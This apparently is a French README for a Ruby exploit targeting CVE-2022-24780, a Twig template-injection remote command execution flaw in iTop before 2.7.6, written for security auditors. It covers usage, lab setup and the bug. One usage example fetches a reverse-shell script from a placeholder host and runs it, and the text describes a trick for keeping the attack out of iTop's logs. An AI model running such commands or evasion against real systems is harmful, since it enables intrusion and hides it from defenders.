
iTop < 2.7.6 - (Authentifiée) Exécution de commande à distance
iTop < 2.7.6 - (Authentifié) Exécution de commande à distance
Exploit pour CVE-2022-24780.
[EDB-TODO] [PacketStorm] [WLB-2022050075]
$ ruby exploit.rb -h
iTop < 2.7.6 - (Authenticated) Remote command execution
Usage:
exploit.rb full <url> <username> <password> <cmd> [--debug]
exploit.rb light <url> <username> <password> <cmd> [--debug]
exploit.rb -h | --help
full: exploit with an emulated browser, execute JavaScript, preserve original user profile information
light: just parse HTML and send requests, no JavaScript, (DESTRUCTIVE) reset user information: phone, location, function
Options:
<url> Root URL (base path) including HTTP scheme, port and root folder
<username> iTop portal username
<password> iTop portal user password
<cmd> Command to execute on the target
--debug Display arguments
-h, --help Show this screen
Examples:
exploit.rb full http://example.org john 's9nvEIZnEo6ghi' 'echo proof > /var/www/html/proof.txt'
exploit.rb light https://example.org:5000/itop john 's9nvEIZnEo6ghi' 'curl --remote-name http://pentest.example.com:7000/revshell.pl; perl revshell.pl'
La variante full de l'exploit utilise Watir en utilisant un navigateur web piloté par Selenium pour émuler la navigation d'un utilisateur. Ceci est nécessaire pour préserver les informations de l'utilisateur. L'exploit injecte une charge utile SSTI dans une sous-partie du formulaire utilisé pour modifier les informations de l'utilisateur sur le profil du portail. Alors que certaines valeurs peuvent être codées en dur ou récupérées depuis le HTML, d'autres (téléphone, lieu, fonction) sont chargées dynamiquement via JavaScript et injectées dans le HTML. Ainsi, pour que l'exploit ne soit pas destructeur, il est nécessaire d'exécuter JavaScript pour pouvoir récupérer ces valeurs.
La variante light de l'exploit est moins regardante et va simplement définir destructivement une valeur nulle pour certains champs d'informations utilisateur (téléphone, lieu, fonction) à la place. Cependant, cette variante est plus rapide à exécuter, nécessite moins de dépendances, n'exécute aucun JavaScript et n'a pas besoin d'un environnement X (Watir en a besoin pour faire fonctionner le navigateur web).
TL;DR : installez tout avec bundle install
Full flavor
Example using gem:
gem install httpx docopt watir webdrivers
Light flavor
Example using gem:
gem install httpx docopt nokogiri
Il n'est pas recommandé d'utiliser des charges utiles avec des guillemets doubles (") ni des barres obliques inverses (\) car la charge utile est injectée dans du JSON.
Avertissement : ce conteneur n'est pas adapté à une utilisation en production !
Utilisation de vbkunin/itop:2.7.4 - source - docker hub
$ docker run -d -p 8000:80 --name=itop-CVE-2022-24780 vbkunin/itop:2.7.4
La vulnérabilité a été découverte par Markus KRELL.
Analyse de la vulnérabilité par le découvreur :
ACCEIS ne promeut ni n'encourage aucune activité illégale, tout le contenu fourni par ce dépôt est destiné uniquement à des fins de recherche, d'éducation et de détection de menaces.
En tant qu'auditeur de sécurité (ou tout autre rôle de white hat), d'une part vous voulez exécuter un script d'exploit pour vérifier l'exploitabilité pratique effective de la vulnérabilité théorique basée sur le numéro de version de l'application que vous avez identifiée, mais d'autre part vous voulez que cela soit fait correctement sans action destructive afin que l'application du client soit laissée dans le même état que vous l'avez trouvée.
Par exemple, cet exploit se produit sur la page de profil utilisateur, donc il y a un formulaire avec des informations de l'utilisateur déjà préremplies : prénom, nom, identifiant d'organisation, email, téléphone, identifiant de lieu, fonction, identifiant de responsable. Pour que l'attaque fonctionne, il suffit de remplacer les champs vulnérables et de remplir les autres avec des valeurs nulles ou aléatoires si elles sont requises. C'est ce que fait la variante light de l'exploit. Mais ce faisant, vous allez détruire les informations réelles de cet utilisateur, ce n'est pas problématique dans un environnement de test mais c'est un vrai problème si vous êtes dans un environnement de production. Un black hat ne se souciera pas de tout cela, mais en tant que white hat nous devons préserver les données. Donc la solution est de récupérer les données réelles et de les réutiliser dans notre requête POST.
Dans les applications web classiques, il suffit souvent de construire directement une requête POST avec les bons paramètres ciblant le point d'entrée vulnérable. Parfois, vous devez gérer les sessions / cookies, les redirections, certains états antérieurs qui peuvent être nécessaires, récupérer un identifiant ou des jetons anti-CSRF, mais tout cela reste très simple et peut être réalisé avec presque toutes les bibliothèques HTTP dans n'importe quel langage.
Afin de récupérer les données réelles, lorsque les données du formulaire proviennent :
Cela commence à être un peu plus délicat sur certaines applications web modernes où de nombreuses valeurs sont définies à partir de manipulations JavaScript complexes. Ici, vous ne pouvez pas simplement analyser le HTML ou interroger une API REST, vous ne pouvez pas non plus récupérer la valeur directement depuis un fichier JavaScript ou analyser plusieurs lignes et recalculer une valeur. Lorsque le calcul JS est si complexe, se produit dans de nombreux fichiers JS différents ou que le code source JavaScript est obscurci ou compressé, cela nécessiterait beaucoup trop d'efforts et de temps pour faire du reverse engineering du mécanisme et extraire la valeur. Dans ce cas, vous devez en fait interagir avec le JavaScript de l'application. Mais un script d'exploit classique nécessitant seulement une bibliothèque HTTP ne peut pas faire cela (tout seul) !
Exploiter la vulnérabilité manuellement est facile, il suffit de naviguer sur l'application, laisser votre navigateur gérer tout le JavaScript, configurer un proxy intercepteur comme Burp Suite pour pouvoir modifier la requête avant qu'elle ne soit envoyée et le tour est joué. Mais faire la même chose de manière automatisée est bien plus difficile. Pour interagir et exécuter le JavaScript, nous avons besoin d'un navigateur sans tête (qui peut ou non nécessiter un environnement d'affichage) et d'une bibliothèque d'émulation utilisateur. Heureusement, il existe déjà des bibliothèques de tests fonctionnels avancés que nous pouvons utiliser pour piloter le navigateur sans tête. Le plus connu est Selenium, mais il y a aussi Cypress. En dehors des suites de tests, il existe également des bibliothèques offrant une automatisation plus générique comme Playwright ou Puppeteer. Dans les deux cas, on utilise un DSL qui imite le comportement de l'utilisateur exactement comme si un utilisateur utilisait l'application, donc le code que nous écrirons dira au navigateur "clique ici", "entre mon nom dans le champ nom", "clique sur ce lien", etc. La limite des frameworks de test est qu'ils ne vous permettent que de faire ce qu'un utilisateur normal ferait, par exemple un utilisateur normal ne récupère pas le contenu d'une balise script ou d'un champ caché, donc vous ne pouvez pas non plus. Ils sont également conçus pour récupérer des valeurs et les comparer à ce que vous attendez, pas pour les définir. De plus, l'exécution avec un navigateur sans tête est beaucoup plus lente et peut nécessiter une écriture DSL fastidieuse. Donc au final, nous voulons utiliser le navigateur sans tête et le framework de test le moins possible.
Ce que fait la variante light de l'exploit, c'est se connecter à l'application, récupérer le formulaire de profil utilisateur pour obtenir toutes les valeurs possibles et utiliser des valeurs vides pour le numéro de téléphone, l'identifiant de lieu et la fonction, puis envoyer l'exploit.
Cependant, ce que fait la variante full de l'exploit, c'est se connecter à l'application, récupérer le formulaire de profil utilisateur pour obtenir toutes les valeurs possibles, puis utiliser le navigateur sans tête pour se connecter, récupérer le formulaire de profil utilisateur pour obtenir les 3 valeurs qui ont été définies depuis JavaScript, puis envoyer l'exploit. C'est à peu près le même processus sauf que nous n'utilisons pas de valeurs nulles pour les champs de données peuplés par JavaScript mais nous les récupérons réellement avec un navigateur sans tête qui exécutera le JavaScript qui peuple ces valeurs pour pouvoir les récupérer. Il est aussi techniquement possible d'écrire l'exploit à 100% en utilisant uniquement le navigateur sans tête, mais nous devrons faire face aux limitations discutées précédemment, c'est pourquoi j'ai choisi l'approche hybride avec une utilisation minimale du navigateur sans tête.
Le découvreur de la vulnérabilité CVE-2022-24780, Markus KRELL, a écrit un article de blog d'analyse détaillée : iTop – Injection de template dans le portail client.
En bref, la vulnérabilité se produit lors du changement de profil utilisateur. Lorsque l'utilisateur soumet le formulaire pour mettre à jour ses informations, il envoie un énorme objet JSON contenant diverses métadonnées pour le backend, mais les données utilisateur à mettre à jour sont stockées sous forme de XHTML dans le sous-nœud JSON formproperties.layout.content. Mais Markus a repéré dans le code source que formproperties.layout.type pouvait accepter à la fois XHTML et Twig. Bien sûr, lorsqu'il a vu Twig mentionné, il a immédiatement pensé à une potentielle SSTI. Il a donc essayé tous les champs du contenu pour identifier un champ vulnérable et a constaté que les attributs data-field-id et data-field-flags sont vulnérables. Ensuite, il est possible d'utiliser des charges utiles d'injection de template Twig classiques. De plus, en bonus, il a découvert que l'ajout de |join(',') à l'expression convertirait le tableau résultant en une chaîne de caractères et éviterait ainsi une entrée dans les logs d'iTop pour rendre l'attaque plus furtive.